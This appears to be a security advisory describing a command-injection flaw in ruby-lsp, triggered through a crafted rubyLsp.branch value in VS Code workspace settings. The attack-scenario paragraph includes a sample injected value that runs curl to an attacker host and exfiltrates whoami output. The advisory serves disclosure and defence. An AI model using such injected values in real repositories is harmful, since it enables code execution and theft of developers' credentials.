CVE-2026-34060

Victim must open a VS Code project (or other editor with workspace settings auto-application) containing a malicious .vscode/settings.json file with a crafted rubyLsp.branch value. The user must trust the workspace. Affects ruby-lsp server when interpolating the branch parameter into the generated Gemfile without sanitization.

This vulnerability presents high risk despite the absence of a CVSS score, as it enables arbitrary code execution with user privileges through a common developer workflow. The attack vector is network-based in the sense that malicious repositories can be distributed via git hosting platforms, but requires local user interaction (opening and trusting a workspace). Attack complexity is low-exploitation requires only basic knowledge of VS Code workspace settings and Ruby syntax. No authentication beyond normal file system access is required. The technical impact is severe: full code execution in the context of the developer's environment, potentially compromising source code, credentials, and development infrastructure. While no public exploit code exists and the vulnerability is not listed in CISA KEV, the attack surface is significant because developers routinely open external repositories for evaluation, contribution, or dependency review. The vulnerability's real-world risk is amplified by the trust relationship developers have with code repositories, making social engineering attacks highly plausible. Mitigation priority should be high for organizations using ruby-lsp, as auto-update mechanisms may not reach all users, particularly those with locked gem versions or disabled auto-updates.

An attacker creates a seemingly legitimate open-source Ruby project or submits a pull request to an existing repository, embedding a malicious .vscode/settings.json file with a crafted rubyLsp.branch value such as "; curl attacker.com/exfil?data=$(whoami) #". A developer clones the repository and opens it in VS Code with the vulnerable Ruby LSP extension installed. Upon trusting the workspace (a common action to enable full IDE features), the language server reads the workspace settings, generates a .ruby-lsp/Gemfile interpolating the unsanitized branch value, and evaluates the Gemfile, executing the attacker's embedded shell commands. The attacker gains code execution with the developer's privileges, potentially exfiltrating environment variables, SSH keys, AWS credentials, or source code from other projects on the developer's machine.